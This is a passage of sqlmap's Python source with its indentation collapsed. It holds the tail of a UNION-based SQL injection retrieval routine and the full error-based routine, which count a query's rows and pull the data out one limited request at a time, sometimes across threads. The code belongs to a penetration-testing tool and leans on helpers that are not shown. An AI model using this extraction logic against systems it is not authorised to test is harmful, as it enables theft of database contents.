"LIMIT " in expression.upper()) and " FROM " in expression.upper() and ( (Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not expression.upper().endswith( FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()])) ) and not re.search(SQL_SCALAR_REGEX, expression, re.I): expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition( expression, dump) if limitCond: # Count the number of SQL query entries output countedExpression = expression.replace( expressionFields, queries[Backend.getIdentifiedDbms()].count.query % ('*' if len(expressionFieldsList) > 1 else expressionFields), 1) if " ORDER BY " in countedExpression.upper(): _ = countedExpression.upper().rindex(" ORDER BY ") countedExpression = countedExpression[:_] output = _oneShotUnionUse(countedExpression, unpack) count = unArrayizeValue(parseUnionPage(output)) if isNumPosStrValue(count): if isinstance(stopLimit, int) and stopLimit > 0: stopLimit = min(int(count), int(stopLimit)) else: stopLimit = int(count) infoMsg = "used SQL query returns " infoMsg += "%d entries" % stopLimit logger.info(infoMsg) elif count and (not isinstance(count, basestring) or not count.isdigit()): warnMsg = "it was not possible to count the number " warnMsg += "of entries for the SQL query provided. " warnMsg += "sqlmap will assume that it returns only " warnMsg += "one entry" logger.warn(warnMsg) stopLimit = 1 elif (not count or int(count) == 0): if not count: warnMsg = "the SQL query provided does not " warnMsg += "return any output" logger.warn(warnMsg) else: value = [] # for empty tables return value if isNumPosStrValue(count) and int(count) > 1: threadData = getCurrentThreadData() try: threadData.shared.limits = iter( xrange(startLimit, stopLimit)) except OverflowError: errMsg = "boundary limits (%d,%d) are too large. Please rerun " % ( startLimit, stopLimit) errMsg += "with switch '--fresh-queries'" raise SqlmapDataException(errMsg) numThreads = min(conf.threads, (stopLimit - startLimit)) threadData.shared.value = BigArray() threadData.shared.buffered = [] threadData.shared.counter = 0 threadData.shared.lastFlushed = startLimit - 1 threadData.shared.showEta = conf.eta and (stopLimit - startLimit) > 1 if threadData.shared.showEta: threadData.shared.progress = ProgressBar( maxValue=(stopLimit - startLimit)) if stopLimit > TURN_OFF_RESUME_INFO_LIMIT: kb.suppressResumeInfo = True debugMsg = "suppressing possible resume console info because of " debugMsg += "large number of rows. It might take too long" logger.debug(debugMsg) try: def unionThread(): threadData = getCurrentThreadData() while kb.threadContinue: with kb.locks.limit: try: valueStart = time.time() threadData.shared.counter += 1 num = threadData.shared.limits.next() except StopIteration: break if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): field = expressionFieldsList[0] elif Backend.isDbms(DBMS.ORACLE): field = expressionFieldsList else: field = None limitedExpr = agent.limitQuery( num, expression, field) output = _oneShotUnionUse(limitedExpr, unpack, True) if not kb.threadContinue: break if output: with kb.locks.value: if all(_ in output for _ in (kb.chars.start, kb.chars.stop)): items = parseUnionPage(output) if threadData.shared.showEta: threadData.shared.progress.progress( threadData.shared.counter) if isListLike(items): # in case that we requested N columns and we get M!=N then we have to filter a bit if len(items) > 1 and len( expressionFieldsList) > 1: items = [ item for item in items if isListLike(item) and len(item) == len( expressionFieldsList) ] items = [ _ for _ in flattenValue(items) ] if len(items) > len( expressionFieldsList): filtered = OrderedDict() for item in items: key = re.sub( r"[^A-Za-z0-9]", "", item).lower() if key not in filtered or re.search( r"[^A-Za-z0-9]", item): filtered[key] = item items = filtered.values() items = [items] index = None for index in xrange(1 + len( threadData.shared.buffered)): if index < len( threadData.shared.buffered ) and threadData.shared.buffered[ index][0] >= num: break threadData.shared.buffered.insert( index or 0, (num, items)) else: index = None if threadData.shared.showEta: threadData.shared.progress.progress( threadData.shared.counter) for index in xrange(1 + len( threadData.shared.buffered)): if index < len( threadData.shared.buffered ) and threadData.shared.buffered[ index][0] >= num: break threadData.shared.buffered.insert( index or 0, (num, None)) items = output.replace( kb.chars.start, "").replace( kb.chars.stop, "").split(kb.chars.delimiter) while threadData.shared.buffered and ( threadData.shared.lastFlushed + 1 >= threadData.shared.buffered[0][0] or len(threadData.shared.buffered) > MAX_BUFFERED_PARTIAL_UNION_LENGTH): threadData.shared.lastFlushed, _ = threadData.shared.buffered[ 0] if not isNoneValue(_): threadData.shared.value.extend( arrayizeValue(_)) del threadData.shared.buffered[0] if conf.verbose == 1 and not ( threadData.resumed and kb.suppressResumeInfo ) and not threadData.shared.showEta: _ = ','.join( "\"%s\"" % _ for _ in flattenValue(arrayizeValue( items))) if not isinstance( items, basestring) else items status = "[%s] [INFO] %s: %s" % ( time.strftime("%X"), "resumed" if threadData.resumed else "retrieved", _ if kb.safeCharEncode else safecharencode(_)) if len(status) > width: status = "%s..." % status[:width - 3] dataToStdout("%s\n" % status) runThreads(numThreads, unionThread) if conf.verbose == 1: clearConsoleLine(True) except KeyboardInterrupt: abortedFlag = True warnMsg = "user aborted during enumeration. sqlmap " warnMsg += "will display partial output" logger.warn(warnMsg) finally: for _ in sorted(threadData.shared.buffered): if not isNoneValue(_[1]): threadData.shared.value.extend(arrayizeValue(_[1])) value = threadData.shared.value kb.suppressResumeInfo = False if not value and not abortedFlag: output = _oneShotUnionUse(expression, unpack) value = parseUnionPage(output) duration = calculateDeltaSeconds(start) if not kb.bruteMode: debugMsg = "performed %d queries in %.2f seconds" % ( kb.counters[PAYLOAD.TECHNIQUE.UNION], duration) logger.debug(debugMsg) return value
def errorUse(expression, expected=None, resumeValue=True, dump=False): """ Retrieve the output of a SQL query taking advantage of the error-based SQL injection vulnerability on the affected parameter. """ initTechnique(PAYLOAD.TECHNIQUE.ERROR) global reqCount count = None start = time.time() startLimit = 0 stopLimit = None outputs = [] untilLimitChar = None untilOrderChar = None reqCount = 0 if resumeValue: output = resume(expression, None) else: output = None if output and (expected is None or (expected == EXPECTED.INT and output.isdigit())): return output _, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(expression) # We have to check if the SQL query might return multiple entries # and in such case forge the SQL limiting the query output one # entry per time # NOTE: I assume that only queries that get data from a table can # return multiple entries if (dump and (conf.limitStart or conf.limitStop)) or (" FROM " in \ expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_TABLE) \ or (Backend.getIdentifiedDbms() in FROM_TABLE and not \ expression.upper().endswith(FROM_TABLE[Backend.getIdentifiedDbms()]))) \ and ("(CASE" not in expression.upper() or ("(CASE" in expression.upper() and "WHEN use" in expression))) \ and not any(map(lambda x: x in expression.upper(), ["COUNT(*)", "EXISTS(", "MAX(", "MIN(", "COUNT(DISTINCT"])): limitRegExp = re.search(queries[Backend.getIdentifiedDbms()].limitregexp.query, expression, re.I) topLimit = re.search("TOP\s+([\d]+)\s+", expression, re.I) if limitRegExp or (Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and topLimit): if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): limitGroupStart = queries[Backend.getIdentifiedDbms()].limitgroupstart.query limitGroupStop = queries[Backend.getIdentifiedDbms()].limitgroupstop.query if limitGroupStart.isdigit(): startLimit = int(limitRegExp.group(int(limitGroupStart))) stopLimit = limitRegExp.group(int(limitGroupStop)) limitCond = int(stopLimit) > 1 elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): if limitRegExp: limitGroupStart = queries[Backend.getIdentifiedDbms()].limitgroupstart.query limitGroupStop = queries[Backend.getIdentifiedDbms()].limitgroupstop.query if limitGroupStart.isdigit(): startLimit = int(limitRegExp.group(int(limitGroupStart))) stopLimit = limitRegExp.group(int(limitGroupStop)) limitCond = int(stopLimit) > 1 elif topLimit: startLimit = 0 stopLimit = int(topLimit.group(1)) limitCond = int(stopLimit) > 1 elif Backend.getIdentifiedDbms() == DBMS.ORACLE: limitCond = False else: limitCond = True # I assume that only queries NOT containing a "LIMIT #, 1" # (or similar depending on the back-end DBMS) can return # multiple entries if limitCond: if limitRegExp: stopLimit = int(stopLimit) # From now on we need only the expression until the " LIMIT " # (or similar, depending on the back-end DBMS) word if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): stopLimit += startLimit untilLimitChar = expression.index(queries[Backend.getIdentifiedDbms()].limitstring.query) expression = expression[:untilLimitChar] elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): stopLimit += startLimit elif dump: if conf.limitStart: startLimit = conf.limitStart if conf.limitStop: stopLimit = conf.limitStop # Count the number of SQL query entries output countedExpression = expression.replace(expressionFields, "COUNT(*)", 1) if re.search(" ORDER BY ", expression, re.I): untilOrderChar = countedExpression.index(" ORDER BY ") countedExpression = countedExpression[:untilOrderChar] count = resume(countedExpression, None) if not count or not count.isdigit(): _, _, _, _, _, _, countedExpressionFields, _ = agent.getFields(countedExpression) count = __oneShotErrorUse(countedExpression, countedExpressionFields) if (not count or (count.isdigit() and int(count) == 0)): warnMsg = "it was not possible to count the number " warnMsg += "of entries for the used SQL query. " warnMsg += "sqlmap will assume that it returns only " warnMsg += "one entry" logger.warn(warnMsg) stopLimit = 1 elif isNumPosStrValue(count): if isinstance(stopLimit, int) and stopLimit > 0: stopLimit = min(int(count), int(stopLimit)) else: stopLimit = int(count) infoMsg = "the SQL query used returns " infoMsg += "%d entries" % stopLimit logger.info(infoMsg) try: for num in xrange(startLimit, stopLimit): output = __errorFields(expression, expressionFields, expressionFieldsList, expected, num, resumeValue) if output and isinstance(output, list) and len(output) == 1: output = output[0] outputs.append(output) except KeyboardInterrupt: print warnMsg = "user aborted during enumeration. sqlmap " warnMsg += "will display partial output" logger.warn(warnMsg) if not outputs: outputs = __errorFields(expression, expressionFields, expressionFieldsList) if outputs and isinstance(outputs, list) and len(outputs) == 1 and isinstance(outputs[0], basestring): outputs = outputs[0] duration = calculateDeltaSeconds(start) if not kb.bruteMode: debugMsg = "performed %d queries in %d seconds" % (reqCount, duration) logger.debug(debugMsg) return outputs